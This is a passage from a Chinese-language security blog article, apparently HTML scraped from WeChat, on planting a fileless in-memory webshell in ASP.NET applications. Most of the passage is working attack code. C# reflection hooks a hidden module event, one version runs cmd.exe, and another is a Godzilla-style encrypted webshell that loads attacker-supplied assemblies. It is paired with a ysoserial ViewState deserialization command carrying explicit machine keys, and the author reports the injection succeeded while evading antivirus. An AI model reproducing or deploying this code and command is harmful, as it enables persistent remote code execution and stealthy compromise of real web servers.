Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">MethodInfo getAddEventMethod = moduleContainer.GetType().GetMethod(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;AddEvent&#34;</span>,BindingFlags.Instance | BindingFlags.NonPublic);        <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] AddEventMethodPs = { RequestNotification.LogRequest, <span style="color: rgb(86, 182, 194);line-height: 26px;">false</span>, step };        getAddEventMethod.Invoke(moduleContainer, AddEventMethodPs);</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">这里是把事件处理方法绑定到AspNetFilterModule中的RequestNotification.LogRequest事件上，其他的module和事件都可以绑定，但是要考虑触发时机，这里选择的点是因为在HttpApplicaiton初始化过程中执行的 BuildSteps方法中提到了一系列事件方法绑定，方便注入内存马后触发事件验证是否成功注入。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.22314814814814815" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f7f3fa4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmcibYKMxH12B8Exglv8xJGb3qY0GdwkM9dRiaStibs36sHdWqJo1Hk4YDg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">在vs中ASP.NET web forms默认加载module如下</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">OutputCacheSessionWindowsAuthenticationFormsAuthenticationDefaultAuthenticationRoleManagerUrlAuthorizationFileAuthorizationAnonymousIdentificationProfileUrlMappingsModuleServiceModel-4.0UrlRoutingModule-4.0ScriptModule-4.0__DynamicModule_Microsoft.AspNet.FriendlyUrls.FriendlyUrlsModule, Microsoft.AspNet.FriendlyUrls, Version=1.0.2.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35_4c981331-8571-4eda-a0b1-c8a08b21b919__DynamicModule_Microsoft.WebTools.BrowserLink.Runtime.Tracing.PageInspectorHttpModule, Microsoft.WebTools.BrowserLink.Runtime, Version=17.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a_071bf808-e9ff-4716-9075-330cc6c7d2bf__DynamicModule_System.Web.WebPages.WebPageHttpModule, System.Web.WebPages, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35_61a71c81-26f2-4327-8ed9-512c10656f3e__DynamicModule_System.Web.Optimization.BundleModule, System.Web.Optimization, Version=1.1.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35_27f7cfdc-74e2-4862-</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">最终完整代码如下</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">F</span>    {        <span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">CustomModule</span> : <span style="color: rgb(97, 174, 238);line-height: 26px;">System</span>.<span style="color: rgb(97, 174, 238);line-height: 26px;">Web</span>.<span style="color: rgb(97, 174, 238);line-height: 26px;">IHttpModule</span>        {            <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Init</span>(<span style="line-height: 26px;">System.Web.HttpApplication httpApp</span>)</span>            {                            }            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// Issues a custom begin request event.</span>                        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">OnEnter</span>(<span style="line-height: 26px;">System.Object sender, System.EventArgs e</span>)</span>            {                System.Web.HttpApplication httpApp = sender <span style="color: rgb(198, 120, 221);line-height: 26px;">as</span> System.Web.HttpApplication;                                System.Diagnostics.Process p2 = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Diagnostics.Process();                p2.StartInfo.FileName = <span style="color: rgb(152, 195, 121);line-height: 26px;">@&#34;C:\Windows\System32\cmd.exe&#34;</span>;                p2.StartInfo.Arguments = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;/c whoami /priv &gt; C:\\Windows\\Temp1.txt&#34;</span>;                p2.StartInfo.UseShellExecute = <span style="color: rgb(86, 182, 194);line-height: 26px;">false</span>;                p2.StartInfo.RedirectStandardError = <span style="color: rgb(86, 182, 194);line-height: 26px;">true</span>;                p2.StartInfo.RedirectStandardOutput = <span style="color: rgb(86, 182, 194);line-height: 26px;">true</span>;                p2.Start();            }            <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Dispose</span>()</span>            {            }        }        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">F</span>()</span>         {            System.Web.HttpContext Context = System.Web.HttpContext.Current;            Context.Server.ClearError();            Context.Response.Clear();            <span style="color: rgb(198, 120, 221);line-height: 26px;">try</span>             {                System.Web.HttpApplication httpApplicationInstance = System.Web.HttpContext.Current.ApplicationInstance;                System.Type httpApplicationType = <span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(System.Web.HttpApplication);                <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> name = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;CustomModule&#34;</span>; <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 模块名称</span>                CustomModule customModule = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> CustomModule(); <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 自定义的 IHttpModule 实例</span>                <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] parameters = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] { name, customModule };                System.EventHandler c = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.EventHandler(customModule.OnEnter);                                System.Reflection.PropertyInfo eventsProperty = httpApplicationType                    .GetProperty(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Events&#34;</span>, System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);                <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> eventsInstance = eventsProperty.GetValue(httpApplicationInstance);                System.Reflection.MethodInfo addHandlerMethod = eventsInstance.GetType()                    .GetMethod(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;AddHandler&#34;</span>);                        <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] parametersAddHandler = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] { <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>(), c }; <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 根据方法参数进行适当调整</span>                addHandlerMethod.Invoke(eventsInstance, parametersAddHandler);                <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 调用 GetModuleContainer 方法</span>                System.Reflection.MethodInfo getModuleContainerMethod = httpApplicationType.GetMethod(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;GetModuleContainer&#34;</span>, System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);                <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] parametersCurrentModuleCollectionKey = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] { <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;AspNetFilterModule&#34;</span> }; <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 根据方法参数进行适当调整</span>                <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> moduleContainer = getModuleContainerMethod.Invoke(httpApplicationInstance, parametersCurrentModuleCollectionKey);                                System.Type syncEventExecutionStepType = httpApplicationType.GetNestedType(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;SyncEventExecutionStep&#34;</span>, System.Reflection.BindingFlags.NonPublic);                System.Reflection.ConstructorInfo constructor = syncEventExecutionStepType.GetConstructor(System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance, <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Type[] { <span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(System.Web.HttpApplication), <span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(System.EventHandler) }, <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>);                <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> step = constructor.Invoke(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] { httpApplicationInstance, c });                                System.Reflection.MethodInfo getAddEventMethod = moduleContainer.GetType().GetMethod(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;AddEvent&#34;</span>,System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);                <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] AddEventMethodPs = { System.Web.RequestNotification.LogRequest, <span style="color: rgb(86, 182, 194);line-height: 26px;">false</span>, step };                getAddEventMethod.Invoke(moduleContainer, AddEventMethodPs);             }<span style="color: rgb(198, 120, 221);line-height: 26px;">catch</span>(System.Exception e)            {                Context.Response.Write(e.Message);            }            Context.Response.Flush();            Context.Response.End();                }                }</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">选择RequestNotification.LogRequest事件的原因是因为事件发生位置靠后，然而实战中发现LogRequest发生时，当前请求处理已经结束，当前context实例的session实例为null。所以选择Session module的AcquireRequestState事件(在session实例初始化后和垃圾回收前)，在不修改哥斯拉原本payload位置的情况下完成内存马功能</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">F</span>    {        <span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">class</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">CustomModule</span> : <span style="color: rgb(97, 174, 238);line-height: 26px;">System</span>.<span style="color: rgb(97, 174, 238);line-height: 26px;">Web</span>.<span style="color: rgb(97, 174, 238);line-height: 26px;">IHttpModule</span>        {            <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Init</span>(<span style="line-height: 26px;">System.Web.HttpApplication httpApp</span>)</span>            {            }            <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// Issues a custom begin request event.</span>            <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">OnEnter</span>(<span style="line-height: 26px;">System.Object sender, System.EventArgs e</span>)</span>            {                System.Web.HttpContext context = ((System.Web.HttpApplication)sender).Context;                context.Server.ClearError();                context.Response.Clear();                <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> kk = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;3c6e0b8a9c15224a&#34;</span>;                <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> pp = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;pas&#34;</span>;                <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> md5 = System.BitConverter.ToString(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pp + kk))).Replace(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;-&#34;</span>, <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;&#34;</span>);                <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] data = System.Convert.FromBase64String(context.Request[pp]);                <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">//context.Response.Write(context.Request[pp]);</span>                data = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(kk), System.Text.Encoding.Default.GetBytes(kk)).TransformFinalBlock(data, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, data.Length);                <span style="color: rgb(198, 120, 221);line-height: 26px;">if</span> (context.Session[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;payload&#34;</span>] == <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>)                {                    context.Session[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;payload&#34;</span>] = (System.Reflection.Assembly)<span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(System.Reflection.Assembly).GetMethod(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Load&#34;</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Type[] { <span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(<span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[]) }).Invoke(<span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] { data });                }                <span style="color: rgb(198, 120, 221);line-height: 26px;">else</span>                {                    System.IO.MemoryStream outStream = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.IO.MemoryStream();                    <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> o = ((System.Reflection.Assembly)context.Session[<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;payload&#34;</span>]).CreateInstance(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;LY&#34;</span>);                    o.Equals(context); o.Equals(outStream); o.Equals(data); o.ToString();                    <span style="color: rgb(198, 120, 221);line-height: 26px;">byte</span>[] r = outStream.ToArray();                    context.Response.Write(md5.Substring(<span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, <span style="color: rgb(209, 154, 102);line-height: 26px;">16</span>));                    context.Response.Write(System.Convert.ToBase64String(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(kk), System.Text.Encoding.Default.GetBytes(kk)).TransformFinalBlock(r, <span style="color: rgb(209, 154, 102);line-height: 26px;">0</span>, r.Length))); context.Response.Write(md5.Substring(<span style="color: rgb(209, 154, 102);line-height: 26px;">16</span>));                }                                context.Response.Flush();                context.Response.End();            }            <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">void</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">Dispose</span>()</span>            {            }        }        <span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;">public</span> <span style="color: rgb(97, 174, 238);line-height: 26px;">F</span>()</span>         {            System.Web.HttpContext Context = System.Web.HttpContext.Current;            Context.Server.ClearError();            Context.Response.Clear();            <span style="color: rgb(198, 120, 221);line-height: 26px;">try</span>             {                System.Web.HttpApplication httpApplicationInstance = System.Web.HttpContext.Current.ApplicationInstance;                System.Type httpApplicationType = <span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(System.Web.HttpApplication);                <span style="color: rgb(198, 120, 221);line-height: 26px;">string</span> name = <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;CustomModule&#34;</span>; <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 模块名称</span>                CustomModule customModule = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> CustomModule(); <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 自定义的 IHttpModule 实例</span>                <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] parameters = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] { name, customModule };                System.EventHandler c = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.EventHandler(customModule.OnEnter);                                System.Reflection.PropertyInfo eventsProperty = httpApplicationType                    .GetProperty(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;Events&#34;</span>, System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);                <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> eventsInstance = eventsProperty.GetValue(httpApplicationInstance);                System.Reflection.MethodInfo addHandlerMethod = eventsInstance.GetType()                    .GetMethod(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;AddHandler&#34;</span>);                        <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] parametersAddHandler = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] { <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>(), c }; <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 根据方法参数进行适当调整</span>                addHandlerMethod.Invoke(eventsInstance, parametersAddHandler);                <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 调用 GetModuleContainer 方法</span>                System.Reflection.MethodInfo getModuleContainerMethod = httpApplicationType.GetMethod(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;GetModuleContainer&#34;</span>, System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);                <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] parametersCurrentModuleCollectionKey = <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] { <span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;AspNetFilterModule&#34;</span> }; <span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// 根据方法参数进行适当调整</span>                <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> moduleContainer = getModuleContainerMethod.Invoke(httpApplicationInstance, parametersCurrentModuleCollectionKey);                                System.Type syncEventExecutionStepType = httpApplicationType.GetNestedType(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;SyncEventExecutionStep&#34;</span>, System.Reflection.BindingFlags.NonPublic);                System.Reflection.ConstructorInfo constructor = syncEventExecutionStepType.GetConstructor(System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance, <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>, <span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> System.Type[] { <span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(System.Web.HttpApplication), <span style="color: rgb(198, 120, 221);line-height: 26px;">typeof</span>(System.EventHandler) }, <span style="color: rgb(86, 182, 194);line-height: 26px;">null</span>);                <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span> step = constructor.Invoke(<span style="color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] { httpApplicationInstance, c });                                System.Reflection.MethodInfo getAddEventMethod = moduleContainer.GetType().GetMethod(<span style="color: rgb(152, 195, 121);line-height: 26px;">&#34;AddEvent&#34;</span>,System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);                <span style="color: rgb(198, 120, 221);line-height: 26px;">object</span>[] AddEventMethodPs = { System.Web.RequestNotification.LogRequest, <span style="color: rgb(86, 182, 194);line-height: 26px;">false</span>, step };                getAddEventMethod.Invoke(moduleContainer, AddEventMethodPs);            }<span style="color: rgb(198, 120, 221);line-height: 26px;">catch</span>(System.Exception e)            {                Context.Response.Write(e.Message);            }                        Context.Response.Flush();            Context.Response.End();                }                }</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">ysoserial命令如下</p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c &#34;FilterWebshell.cs;System.dll;System.Web.dll&#34; --decryptionalg=&#34;AES&#34; --decryptionkey=&#34;51FE611365277B07911521B7CAFE3766751D16C33D96242F0E63E93FB102BCE2&#34; --validationalg=&#34;HMACSHA256&#34; --validationkey=&#34;BF579EF0E9F0C85277E75726BFC9D0260FADE8DE2864A583484AA132944F602D&#34; --path=&#34;/login.aspx&#34; --apppath=&#34;/&#34; --isdebug</p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">生成payload</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.17314814814814813" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9db6c94a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmIUbZEAUScuxk6jxE5BcjFxnHlvgkOIFOFrP5vdLHPQQ0Ir9xLrtwkw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">将payload注入</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7851851851851852" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=13baf1da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCm6zXnxp4XiaYljYuo57KhG5sgWwM7YCVrKhcHC2c5yWT6fFbfBQJ7A5A%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">填写任意url，需多点几次验证，确定请求可触发事件（一开始几次会提示初始化失败）</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0633946830265848" data-s="300,640" style="" data-type="png" data-w="489" src="https://wechat2rss.xlab.app/img-proxy/?k=27afb7b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmiaatxqh3NI8yjxiap9pZdFuz2lNvPAXFTY3w8icyfxZ0u8NAnbAOn9sGA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">成功注入及免杀</p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4027777777777778" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=226b5c34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCm33Q6HAOXgnQ3N4ENZpZndDEG8w4QjJtf5N4E6KhfrHg1RoUTS3wvKg%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="margin-top: 5px;text-align: center;color: rgb(136, 136, 136);font-size: 12px;"></figcaption></figure><h2 style="margin: 70px 